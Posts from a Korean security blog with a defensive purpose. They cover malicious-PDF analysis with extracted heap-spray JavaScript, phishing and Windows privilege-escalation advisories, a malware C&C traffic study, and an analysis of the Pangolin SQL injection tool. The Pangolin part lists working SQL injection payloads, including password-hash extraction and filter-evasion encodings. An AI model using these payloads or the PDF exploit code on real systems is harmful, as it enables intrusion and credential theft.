0xFF small talk2010. 2. 13. 11:27

            M.                                         .:M

            MMMM.                                   .:MMMM
            MMMMMMMM                             .:MMMMMMM
            :MMHHHMMMMHMM.  .:MMMMMMMMM:.      .:MMHHMHMM:
             :MMHHIIIHMMMM.:MMHHHHIIIHHMMMM. .:MMHIHIIHHM:
              MMMHIIIIHHMMMIIHHMHHIIIIIHHMMMMMMHHHIIIIHHM:
              :MMHIIIIIHMMMMMMMHHIIIIIIHHHMMMMMHHII:::IHM.
               MH:I:::IHHMMMMMHHII:::IIHHMMMHHHMMM:I:IHMM
               :MHI:HHIHMMHHIIHII::.::IIHMMHHIHHMMM::HMM:
                MI::HHMMIIM:IIHII::..::HM:MHHII:::IHHMM:
                MMMHII::..:::IHMMHHHMHHMMI:::...::IHM:
                :MHHI::....::::HMMMMMMHHI::.. ..:::HM:
                 :MI:.:MH:.....:HMMMMHHMIHMMHHI:HH.:M
                 M:.I..MHHHHHMMMIHMMMMHMMHHHHHMMH:.:M.
                 M:.H..H  I:HM:MHMHI:IM:I:MM::  MMM:M:
                 :M:HM:.M I:MHMIIMMIIHM I:MM::.:MMI:M.
                 'M::MM:IMH:MMII MMHIMHI :M::IIHMM:MM
                  MH:HMMHIHMMMMMMHMMIMHIIHHHHIMMHHMM
                   MI:MMMMHI:::::IMM:MHI:::IMMMMHIM
                    :IMHIHMMMMMM:MMMMMHHHHMMMHI:M
                     HI:IMIHMMMM:MMMMMMHHHMI:.:M      .....
         ............M::..:HMMMMIMHIIHMMMMHII:M:::''''
             ....:::MHI:.:HMMMMMMMMHHHMHHI::M:::::::''''''
            ''   ...:MHI:.::MMHHHMHMIHMMMMHH.MI..........
               ''  ...MHI::.::MHHHHIHHMM:::IHM           '''
                  '  IMH.::..::HMMHMMMH::..:HM:
                    :M:.H.IHMIIII::IIMHMMM:H.MH
                     IMMMH:HI:MMIMI:IHI:HIMIHM:
                   .MMI:.HIHMIMI:IHIHMMHIHI:MIM.
                  .MHI:::HHIIIIIHHI:IIII::::M:IM.
                 .MMHII:::IHIII::::::IIIIIIHMHIIM
                 MHHHI::.:IHHII:::.:::IIIIHMHIIHM:
                MHHHII::..::MII::.. ..:IIIHHHII:IM.
               .MHHII::....:MHII::.  .:IHHHI::IIHMM.
               MMHHII::.....:IHMI:. ..:IHII::..:HHMM
               MHHII:::......:IIHI...:IHI::.....::HM:
              :MMH:::........ ...::..::....  ...:IHMM
              IMHIII:::..........     .........::IHMM.
              :MHIII::::......          .......::IHMM:
               MHHIII::::...             ......::IHMM:
               IMHHIII:::...             .....::IIHMM,
               :MHHIII:::I:::...     ....:::I:::IIHMM
                MMHHIII::IHI:::...........:::IIH:IHMM
                :MMHHII:IIHHI::::::.....:::::IH:IHMIM
                 MMMHHII:IIHHI:::::::::::::IHI:IIHM:M.
                 MMMHHIII::IHHII:::::::::IHI:IIIHMM:M:
                 :MMHHHIII::IIIHHII::::IHI..IIIHHM:MHM
                 :MMMHHII:..:::IHHMMHHHHI:IIIIHHMM:MIM
                 .MMMMHHII::.:IHHMM:::IIIIIIHHHMM:MI.M
               .MMMMHHII::.:IHHMM:::IIIIIIHHHMM:MI.M
             .MMMMHHMHHII:::IHHMM:::IIIIIHHHHMM:MI.IM.
            .MMHMMMHHHII::::IHHMM::I&&&IHHHHMM:MMH::IM.
           .MMHHMHMHHII:::.::IHMM::IIIIHHHMMMM:MMH::IHM
           :MHIIIHMMHHHII:::IIHMM::IIIHHMMMMM::MMMMHHHMM.
           MMHI:IIHMMHHHI::::IHMM:IIIIHHHMMMM:MMMHI::IHMM.
           MMH:::IHMMHHHHI:::IHMM:IIIHHHHMMMM:MMHI:.:IHHMM.
           :MHI:::IHMHMHHII::IHMM:IIIHHHMMMMM:MHH::.::IHHM:
           'MHHI::IHMMHMHHII:IHMM:IIHHHHMMMM:MMHI:...:IHHMM.
            :MHII:IIHMHIHHIIIIHMM:IIHHHHMMMM:MHHI:...:IIHMM:
            'MHIII:IHHMIHHHIIHHHMM:IHHHMMMMM:MHHI:..::IIHHM:
             :MHHIIIHHMIIHHHIHHHMM:HHHHMMMMM:MHII::::IIIHHMM
              MHHIIIIHMMIHHHIIHHMM:HHHHMMMM:MMHHIIHIIIIIHHMM.
              'MHHIIIHHMIIHHIIIHMM:HHHMMMMH:MHHMHII:IIIHHHMM:
               'MHHIIIHMMIHHHIHHMM:HHHMMMHH:MMIMMMHHHIIIHHMM:
                'MHHIIHHMIHHHHHMMM:HHHMMMH:MIMMMMMMMMMMHIHHM:
                 'MHIIIHMMIHHHHHMM:HHHMMMH:IMMMMMHHIHHHMMHHM'
                  :MHHIIHMIHHHHHMM:HHHMMMM:MMHMMHIHMHI:IHHHM
                   MHHIIHM:HHHHHMM:HHHMMMM:MMMHIHHIHMM:HHIHM
                    MHHIHM:IHHHHMM:HHHHMM:MMHMIIHMIMMMHMHIM:
                    :MHIHMH:HHHHMM:HHHHMM:MMHIIHMIIHHMMHIHM:
                     MMHHMH:HHHHMM:HHHHMM:MHHIHMMIIIMMMIIHM'
                     'MMMMH:HHHHMM:HHHMM:MHHHIMMHIIII::IHM:
                      :MMHM:HHHHMM:HHHMM:MHIHIMMHHIIIIIHM:
                       MMMM:HHHHMM:HHHHM:MHHMIMMMHHHIHHM:MMMM.
                       :MMM:IHHHMM:HHHMM:MHHMIIMMMHHMM:MMMMMMM:
                       :MMM:IHHHM:HHHHMM:MMHHHIHHMMM:MMMMMMMMMM
                        MHM:IHHHM:HHHMMM:MMHHHHIIIMMIIMMMMMMMMM
                        MHM:HHHHM:HHHMMM:HMMHHHHHHHHHMMMMMMMMM:
                     .MI:MM:MHHMM:MHMMHMHHMMMMHHHHHHHMMMMMMMMM'
                    :IM:MMIM:M:MM:MH:MM:MH:MMMMMHHHHHMMMMMMMM'
                    :IM:M:IM:M:HM:IMIHM:IMI:MMMMMHHHMMMMMM:'
                     'M:MHM:HM:MN:HMIHM::M'   '::MMMMMMM:'
                        'M'HMM'M''M''HM'I'
 



외국애들은 참 대단한 것 같습니다....ㅋㅋ




Posted by demantos
0x04 reference&tools2010. 2. 5. 15:57



머 그냥 전체 내용을 --filter와 --raw 옵션을 줘서 다른 파일로 저장해서 확인하는 방법이 내부 구조 파악하는데 가장 좋겠지만
요즘처럼 adobe 0-day가 많은 경우엔 javascript가 있는 부분만 추출할 수 있으면 더욱 좋겠죠..

http://blog.didierstevens.com/2008/10/20/analyzing-a-malicious-pdf-file/

위 URL에 있는 유튜브 동영상 보셔도 되구요..

제가 현재 쓰고 있는 절차는 다음과 같습니다. 악성PDF 분석하시는데 도움이 되시면 좋겠네요..^^;


pdf-parser.py --stats malware.pdf
Comment: 2
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 9
  3: 5, 8, 9
 /Action 1: 7
 /Catalog 1: 1
 /Font 1: 6
 /Outlines 1: 2
 /Page 1: 4
 /Pages 1: 3


pdf-parser.py --search javascript --raw malware.pdf
obj 7 0
 Type: /Action
 Referencing: 8 0 R

<</Type /Action /S/JavaScript/JS 8 0 R>>


 <<
   /Type /Action
   /S /JavaScript
   /JS 8 0 R
 >>


pdf-parser.py --object 8 --raw --filter malware.pdf
obj 8 0
 Type:
 Referencing:
 Contains stream

<</Length 1339 /Filter /FlateDecode>>

 <<
   /Length 1339
   /Filter /FlateDecode
 >>

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}
function Buffer()
{
    this._strings = new Array;
}

Buffer.prototype.append = function(str)
{
    this._strings.push(str);
    return this;
}

Buffer.prototype.toString = function()
{
    return this._strings.join("");
}

Buffer.prototype.length = function()
{
    var str = this._strings.join("");
    return str.length;
}
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E...(중략)...\x79";
var d = "\x65\x72";
var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Ze7ba%Zd3db%Z29bc%Z5fc9%Z9fb1%Z5731%Z8314%Z2708%Z4431%Z376c%Z5052%Zd8e7%Zbcd3%Z930f%Zbcd1%Z52e7...(중략)...%Z80ba%Zb411%Z8de7%Z1db7%Zdbd7%Zbcd3%Z1b62%Zb0ab%Z9b6c%Z37df%Zc797%Z377e%Zd3a7%Zb538%Z9b6c%Z37e7%Z6367%Zbcd3%Z85e7%Zce10"));
var nop =  unescape("\x25\x75484a\x25\x75f999");
var e = "\x6E...(중략)...\x29";
var f = "\x70...(중략)...\x31";
var g = "\x20...(중략)...\x31";

var buffer = new Buffer();
while(nop["\x6c...(중략)...\x68"] <= 35000)
{
  buffer.append(nop);
  buffer.append(nop);
  nop = buffer.toString();
}
nop=nop["\x73...(중략)...\x67"](0,35000 - sc["\x6c...(중략)...\x68"]);
memory=new Array();
for(i=0;i<0xE00;i++) memory[i]= nop + sc;
util["\x70...(중략)...\x64"](f+g, e);
util["\x70...(중략)...\x64"](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util["\x70...(중략)...\x64"](f+g, e);


스크립트를 악용하시는 분들은 안계시겠죠?




Posted by demantos
0x04 reference&tools2010. 1. 28. 15:39

adobe 0-day 취약점을 공격하는 pdf 악성코드를 분석하실때 유용하게 사용하실 수 있습니다. ^^



http://blog.didierstevens.com/programs/pdf-tools/


pdf-parser.py

This tool will parse a PDF document to identify the fundamental elements used in the analyzed file. It will not render a PDF document. The code of the parser is quick-and-dirty, I’m not recommending this as text book case for PDF parsers, but it gets the job done.

You can see the parser in action in this screencast.



The stats option display statistics of the objects found in the PDF document. Use this to identify PDF documents with unusual/unexpected objects, or to classify PDF documents. For example, I generated statistics for 2 malicious PDF files, and although they were very different in content and size, the statistics were identical, proving that they used the same attack vector and shared the same origin.

The search option searches for a string in indirect objects (not inside the stream of indirect objects). The search is not case-sensitive, and is susceptible to the obfuscation techniques I documented (as I’ve yet to encounter these obfuscation techniques in the wild, I decided no to resort to canonicalization).

filter option applies the filter(s) to the stream. For the moment, only FlateDecode is supported (e.g. zlib decompression).

The raw option makes pdf-parser output raw data (e.g. not the printable Python representation).

objects outputs the data of the indirect object which ID was specified. This ID is not version dependent. If more than one object have the same ID (disregarding the version), all these objects will be outputted.

reference allows you to select all objects referencing the specified indirect object. This ID is not version dependent.

type alows you to select all objects of a given type. The type is a Name and as such is case-sensitive and must start with a slash-character (/).

Download:
pdf-parser_V0_3_7.zip (https)

MD5: BDC0E5A82EB6D7C287E7360D8901023D
SHA256: C83D39F8938A00A3EB2BDE3134EFAF3A2BE11E72C2C8A92841D4E1E82366D7E1


make-pdf tools
make-pdf-javascript.py allows one to create a simple PDF document with embedded JavaScript that will execute upon opening of the PDF document. It’s essentially glue-code for the mPDF.py module which contains a class with methods to create headers, indirect objects, stream objects, trailers and XREFs.

20081109-134003

If you execute it without options, it will generate a PDF document with JavaScript to display a message box (calling app.alert).

To provide your own JavaScript, use option –javascript for a script on the command line, or –javascriptfile for a script contained in a file.

Download:
make-pdf_V0_1_1.zip (https)

MD5: 9AF2E343B78553021C989E8E22355531
SHA256: C604679ABEB0469C1463159E02E74F12487B2755A6096B416A8F4F638DEB8AA9


pdfid.py
This tool is not a PDF parser, but it will scan a file to look for certain PDF keywords, allowing you to identify PDF documents that contain (for example) JavaScript or execute an action when opened. PDFiD will also handle name obfuscation.

The idea is to use this tool first to triage PDF documents, and then analyze the suspicious ones with my pdf-parser.

An important design criterium for this program is simplicity. Parsing a PDF document completely requires a very complex program, and hence it is bound to contain many (security) bugs. To avoid the risk of getting exploited, I decided to keep this program very simple (it is even simpler than pdf-parser.py).

20090330-214223

PDFiD will scan a PDF document for a given list of strings and count the occurrences (total and obfuscated) of each word:

  • obj
  • endobj
  • stream
  • endstream
  • xref
  • trailer
  • startxref
  • /Page
  • /Encrypt
  • /ObjStm
  • /JS
  • /JavaScript
  • /AA
  • /OpenAction
  • /JBIG2Decode
  • /RichMedia


Almost every PDF documents will contain the first 7 words (obj through startxref), and to a lesser extent stream and endstream. I’ve found a couple of PDF documents without xref or trailer, but these are rare (BTW, this is not an indication of a malicious PDF document).

/Page gives an indication of the number of pages in the PDF document. Most malicious PDF document have only one page.

/Encrypt indicates that the PDF document has DRM or needs a password to be read.

/ObjStm counts the number of object streams. An object stream is a stream object that can contain other objects, and can therefor be used to obfuscate objects (by using different filters).

/JS and /JavaScript indicate that the PDF document contains JavaScript. Almost all malicious PDF documents that I’ve found in the wild contain JavaScript (to exploit a JavaScript vulnerability and/or to execute a heap spray). Of course, you can also find JavaScript in PDF documents without malicious intend.

/AA and /OpenAction indicate an automatic action to be performed when the page/document is viewed. All malicious PDF documents with JavaScript I’ve seen in the wild had an automatic action to launch the JavaScript without user interaction.

The combination of automatic action  and JavaScript makes a PDF document very suspicious.

/JBIG2Decode indicates if the PDF document uses JBIG2 compression. This is not necessarily and indication of a malicious PDF document, but requires further investigation.

/RichMedia is for embedded Flash.

A number that appears between parentheses after the counter represents the number of obfuscated occurrences. For example, /JBIG2Decode 1(1) tells you that the PDF document contains the name /JBIG2Decode and that it was obfuscated (using hexcodes, e.g. /JBIG#32Decode).

BTW, all the counters can be skewed if the PDF document is saved with incremental updates.

Because PDFiD is just a string scanner (supporting name obfuscation), it will also generate false positives. For example, a simple text file starting with %PDF-1.1 and containing words from the list will also be identified as a PDF document.

Download:
pdfid_v0_0_10.zip (https)

MD5: A06B023457DACE24FDFBF537282E1A76
SHA256: 18D88B15C90504BE6A2FF2814BD15A7B20B945337252018A0072AEFD99D5AAC8

Posted by demantos
0x04 reference&tools2010. 1. 27. 09:06


드디어 국내에 adobe 0-day 취약점을 공격하는 메일이 상륙한 듯 합니다.
해외에서 돌던 메일과 다른점이라면 메일 제목을 클릭해서 메일을 열람하는 것만으로도 악성 pdf 다운로드 후 감염이 된다는거겠지요.. 해외에서 돌던 메일은 첨부파일을 따로 다운로드하는 형식이었습니다.




해외에서 돌던 악성 pdf들 몇개 확인해서 도메인/IP를 차단했는데 몇개 더 확인해봐야겠습니다.
이번 사건과 관련된 샘플이 있다면 더 좋겠지만요..
hotmail 메일함 뒤져봐야겠습니다. ㅋㅋ



메일 제목 클릭만으로 PC를 감염시키는 해킹메일이 대량으로 유포되고 있어, 자료유출 등의 피해가 예상됨에 따라 사이버 위기 '관심'경보가 발령(국정원 국가사이버안전센터, 1.25(월) 17시)
 
■ 주요 특징

  o 해커는 주로 해외의 Gmail, Yahoo, Hotmail 계정을 이용하여 발신자 명의만 국내인(지인 또는 공공단체 · 기업)으로 가장, 해킹메일 발송
 
  o 메일 제목을 클릭하면 로그아웃된 것처럼 다시 로그인 화면을 표시하여메일 수신자로 하여금 ID/PW를 再입력토록 유도

  o 메일 수신자가 ID/PW를 입력하면 입력내용이 해커에게 유출

  o 로그인 화면이 표시됨과 동시에 ID/PW 입력여부와 상관없이 iFrame 태그 등을 이용, 은밀히 악성 PDF파일을 다운로드 ·실행시켜 해당 PC에 자료유출형 악성코드 설치
 
 
* 기타
■ 메일 예시 (보낸이 한글이름)
- 국회 금융정책 연구원 안내문입니다.
 
■  의심스러운 이메일 사례 (과거)
[사례1] OO기관 행정관 명의 도용 해킹메일 => 메일제목 : 외교안보수석실 참고자료
[사례2] 외교통상부 OOO대사 명의도용 해킹메일 => 메일제목 : 2010년 한반도정세전망관련
[사례3] 첨부파일 열람유도 해킹메일 => 메일제목 : 김정일 방중일정
[사례4] 군 동기 사칭 해킹메일 => 메일제목 : 새해 2010년 건승을 기원합니다

Posted by demantos
0x06 vulnerability2010. 1. 22. 13:03



o 윈도우 커널이 VDM을 실행할 때 특정 예외를 적절하지 않게 처리하여 권한상승 취약점이 발생 [1, 2, 3]
o 유효한 로컬 사용자 권한을 가진 공격자는 취약점을 이용해 커널 모드에서 임의의 코드를 실행
할 수 있고 영향 받는 시스템에 대해 완전한 권한을 획득할 수 있음 [1]
o 해당 취약점이 공개되었으므로 권한 관리가 필요한 시스템의 관리자는 각별한 주의가 요구됨

※ 윈도우 커널 : 장치 관리, 메모리 관리, 프로세서 스케줄링 등 시스템 수준의 서비스를 제공하는 운영체제의 핵심
※ VDM (Virtual DOS Machine) : MS 윈도우 NT 기반의 운영체제 내에서 MS-DOS와 16비트 윈도우를 에뮬레이트하는 가상의 서브시스템


o 영향 받는 소프트웨어 [1]
- Microsoft Windows 2000 SP4 for 32-bit Systems
- Windows XP SP2, SP3 for 32-bit Systems
- Windows Server 2003 SP2 for 32-bit Systems
- Windows Vista, SP1, SP2 for 32-bit Systems
- Windows Server 2008 for 32-bit Systems, SP2
- Windows 7 for 32-bit Systems

o 영향 받지 않는 소프트웨어 [1]
- Windows XP Professional x64 Edition SP2
- Windows Server 2003 x64 Edition SP2
- Windows Server 2003 with SP2 for Itanium-based Systems
- Windows Vista x64 Edition, SP1, SP2
- Windows Server 2008 for x64-based Systems, SP2
- Windows Server 2008 for Itanium-based Systems, SP2
- Windows 7 for x64-based Systems
- Windows Server 2008 R2 for x64-based Systems
- Windows Server 2008 R2 for Itanium-based Systems

□ 임시 해결 방안
o 현재 해당 취약점에 대한 보안업데이트는 발표되지 않았음
o NTVDM 서브시스템을 비활성화 [1, 2]
- "그룹 정책" 콘솔을 실행 : 시작→실행→gpedit.msc을 입력 후 확인버튼 클릭
- "그룹 정책" 콘솔에서 "관리 템플릿"→"Windows 구성 요소"→"응용 프로그램 호환성"의 순서로 폴더를 확장
- "16비트 응용 프로그램으로의 액세스를 금지"를 클릭하여 "사용"으로 설정 변경

※ 설정을 적용하면 16비트 MS-DOS 또는 윈도우 3.1 응용 프로그램을 사용할 수 없으므로 주의 [1, 2]

[1] http://www.microsoft.com/technet/security/advisory/979682.mspx
[2] http://www.vupen.com/english/advisories/2010/0179
[3] http://seclists.org/fulldisclosure/2010/Jan/341
[4] http://update.microsoft.com/microsoftupdate/v6/default.aspx?ln=ko1


 
2010년 초반부터 뻥~뻥~ 터지는군요..

디테일한 정보는 nchovy에서~ http://nchovy.kr/forum/2)/article/519




Posted by demantos
0xFF small talk2010. 1. 19. 00:12





옴니아나 아이폰은 그닥 땡기지 않았는데

이 녀석이 땡기는 이유는 뭘까...

SKT에서 올해 안드로이드폰을 총12종 정도 내놓는다는데...

아....







Posted by demantos
0x02 analysis2010. 1. 12. 00:18


하우리에서 바이러스 숙주사이트 차단 메일을 받았습니다.

fastupdater.net
on77.net


검색을 해보니 http://chpie.tistory.com/112 에 정보가 있더군요..
위 블로그에서 파일을 받아서 좀 더 살펴봤는데 chpie님과는 좀 다르게 접근을 해봤습니다.

일단 C:\WINDOWS\systam32\svohasf.exe를 생성해서 이 프로세스가 C&C에게 연결을 합니다.
그리고 연결전에 윈도우 방화벽 기능에 이 프로그램에 대한 접속을 허용하는 레지스트리를 생성합니다.

<파일 생성>



<서비스 등록>





<C&C 접속>



<방화벽 기능 관련 레지스트리 등록>



chpie님의 블로그에도 나와 있는것처럼 스트링을 확인해보면 1개의 IP와 총 2개의 도메인이 확인됩니다.




svdhost2.exe를 실행한 후에 패킷을 캡쳐해보면 202.59.156.124:8776으로 접속을 시도하지만 현재는 서버가 죽어있어서 그런지 접속이 안됩니다.




202.59.156.124로 접속이 안되면 on77.net의 7064 포트로 접속을 시도합니다.
위 그림을 보시면 접속 후 어떤 데이터들을 보내고 있는데 스트림을 살펴보면 위에서 보셨던 svohasf.exe라는 파일명도 보이고 PE 포맷도 확인할 수 있었습니다.




MZ 이후가 svohasf.exe 파일 내용이라면 그 전에 나오는 내용들이 어떤 의미인지 확인을 해봐야 할 것으로 보입니다.

좀비가 C&C에게 보내는 데이터(빨간부분)도 있고 C&C가 좀비에게 보내는 데이터도 있습니다.(PE 파일 제외하고)
패킷의 RAW 데이터를 확인해봤습니다.

확인은 두번의 테스트를 했습니다.

1) C&C (222.231.57.37) --> 좀비 (192.168.37.10) : random data (8byte)
2) 좀비 (192.168.37.10) --> C&C (222.231.57.37) : random data (20byte)
3) C&C (222.231.57.37) --> 좀비 (192.168.37.10) : 08 00 00 00 00 00 00 00 (8byte)
4) C&C (222.231.57.37) --> 좀비 (192.168.37.10) : 48 D4 00 02 13 A8 46 4B FA 01 C6 B5 9F 2E FF 5B 
                                                 6A 26 04 25 C5 AA F4 2E 48 B1 2A 1D 35 45 D3 BC 
                                                 6C 65 A8 4C 57 44 DD CD 00 D4 00 00 01 00 73 76 
                                                 6F 68 61 73 66 2E 65 78 65 00 00 00 F0 E5 12 00 
                                                 44 E5 12 00 24 E5 12 00 4D 5A + PE File(malware)

두번 실행했을때 처음 서로 주고 받는 데이터는 상이 했지만 나머지 두번의 C&C가 좀비에게 전송하는 데이터는 일정했습니다.


1) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




1) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




2) 좀비 (192.168.37.10) --> C&C (222.231.57.37)




2) 좀비 (192.168.37.10) --> C&C (222.231.57.37)




3) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




4) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




분명 위에 블럭처리한 부분들이 의미하는게 있을텐데 정확히 알 수가 없군요...(내공이 부족하여...ㅜ.ㅜ)
단 첫번째,두번째 서로 주고 받는 데이터들은 랜덤한 데이터이기 때문에 IDS에서 탐지문자열로 사용하기 적절하지 않지만
마지막에 보이는 항상 일정한 HEX값은 IDS 탐지문자열로 사용하기에 나쁘지 않을 것으로 보입니다.
물론 바이너리값으로 사용하셔야겠죠..
지방쪽 IDS에 넣어서 추이를 살펴볼만할 것으로 판단됩니다.



p.s
최근에 특이한 형태의 C&C들이 많이 보입니다.
특히 HTTP로 통신하는...
게다가 일반 텍스트로 통신하는게 아닌 암호화되거나 인코딩된...
인코딩된거면 그나마 쉽겠지만 특이한 방식으로 암호화된 것이라면 참 난감하겠죠...
그런 녀석들 몇개 찾아 놨으니 시간될때마다 조금씩 분석해봐야겠습니다.





Posted by demantos
0x02 analysis2010. 1. 6. 18:17

악성코드는 아니지만 SQL Injection Tool로 유명한 판골린을 분석해보았습니다.
어떤 쿼리를 날려서 인젝션을 수행하는지...

이전 버전 사용할때 대부분 옵션은 그냥 디폴트로 놓고 사용했었는데요
이번에는 옵션을 바꿔가면서 어떤 쿼리를 날리는지 확인해봤습니다.

먼저 확인해 볼 부분은 Setting -> Advanced입니다.




Replace space as /**/ , + , %09 , [TAB]
Bypass firewall filter when 'select' is not allow
Auto-analyzing keyword
URI Encode Mode
Enable BT Model (bypass firewall)
Stop after error happens(access data)
Auto check record count of tables



옵션은 모두 7가지였고 공백(space)을 대체하는 곳에서 4가지 기능이 있었습니다.
디폴트 옵션은 Auto-analyzing keyword입니다.

하나씩 선택해서 패킷을 떠 보았는데 테스트는 실행버튼() 클릭해서 기본적으로 수집할 대상을 선정한 후에 Select All, Go 버튼을 클릭해서 기본 정보만 수집하는 테스트만 했습니다.

먼저 어떤 쿼리를 날리는지부터 확인해보고 각 옵션간의 어떤 차이점을 보이는지 확인해보도록 하겠습니다.


0x01 Pangolin SQL Injection Query

 and db_name()>0--
 and @@version>1--
 and db_name()>0--
 and @@servername>0--
 and host_name()=0--
 and system_user>0--
 and user>0--
 and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(1))+char(124)=1 and 1=1
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 1 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 2 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 3 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 4 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 5 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 6 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));--
 ;insert pangolin_test_table exec master.dbo.xp_availablemedia;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  1 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  2 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table
(name nvarchar(255),description nvarchar(4000));--
 ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  2 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  1 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  2 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--


기본적으로 날리는 쿼리는 위와 같습니다.
빨간색으로 표시된 부분을 보시면 pangolin_test_table이라는 테이블을 만들어서(create) 특정 데이터를 삽입(insert)한 후에 이 테이블에서 데이터를 선택(select)하고 모든 작업이 끝나면 테이블을 삭제(drop)하고 있습니다.

이렇게해서 확인된 정보는 UI에 출력됩니다.




기본 옵션(Auto-analyzing keyword)을 사용하면 공백(space)을 %20으로 대체해서 쿼리를 날립니다.
수작업할때는 그냥 공백으로 넣어도 결국 %20으로 바꿔서 URL을 요청하는 것과 동일한 방식입니다.


0x02 Pangolin SQL Injection Query by Advanced Setting

기본적으로 날리는 쿼리는 동일합니다. 다만 SQL Injection할 쿼리를 어떤 형태로 보내느냐하는 차이점만 있습니다.
하나씩 옵션별로 나타나는 특징들만 살펴보도록 하겠습니다.


Replace space as /**/

공백문자열을 /**/ 으로 대체합니다. IDS 패턴 우회기법에서 종종 사용하는 기법입니다.

/board_view.asp?num=16/**/and/**/(select/**/top/**/1/**/cast([name]/**/as/**/nvarchar(500))%2bchar(94)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/[dbid]/**/in/**/(select/**/top/**/1/**/[dbid]/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/[dbid]/**/desc))%3E0--

위와 같은 방법으로 /**/을 넣게 되면 IDS에서 탐지됩니다. -_-;;
문자열로 탐지하는 IDS를 우회기법은 예를 들어 select를 탐지한다면 se/**/le/**/ct 같은 방식으로 쿼리를 날려야 우회가 가능한데 이 옵션은 그냥 공백만 /**/으로 대체했기 때문에 IDS에서 탐지될 확률이 아주 높습니다.


Replace space as +

/board_view.asp?num=16+and+(select+top+1+cast([name]+as+nvarchar(500))%2bchar(94)+from+[master].[dbo].[sysdatabases]+where+[dbid]+in+(select+top+1+[dbid]+from+[master].[dbo].[sysdatabases]+order+by+[dbid]+desc))%3E0--


Replace space as %09

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0--


Replace space as [TAB]

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0-- 

%09가 Character형으로 TAB을 의미하기 때문에 %09 옵션이나 [TAB] 옵션이나 동일한 쿼리를 날리고 있습니다.


Bypass firewall filter when 'select' is not allow

select라는 문자열이 허용되지 않을 경우 이를 우회하는 옵션입니다.

/board_view.asp?num=16%20and%20(se%l%e%c%t%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(se%l%e%c%t%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

select를 se%l%e%c%t로 변경시켜 쿼리를 날립니다. %만 있는 경우 웹서버를 이를 무시하기 때문에 결국 select라는 문자열만 인식하게 됩니다. HTTP를 통해 들어오는 패킷을 그대로 확인하는 IDS나 WAF라면 탐지를 못하겠지만 이를 웹서버에서 인식하는 형태로 디코딩해서 탐지하는 장비라면 이 옵션 또한 무용지물이 되겠죠.


URI Encode Mode

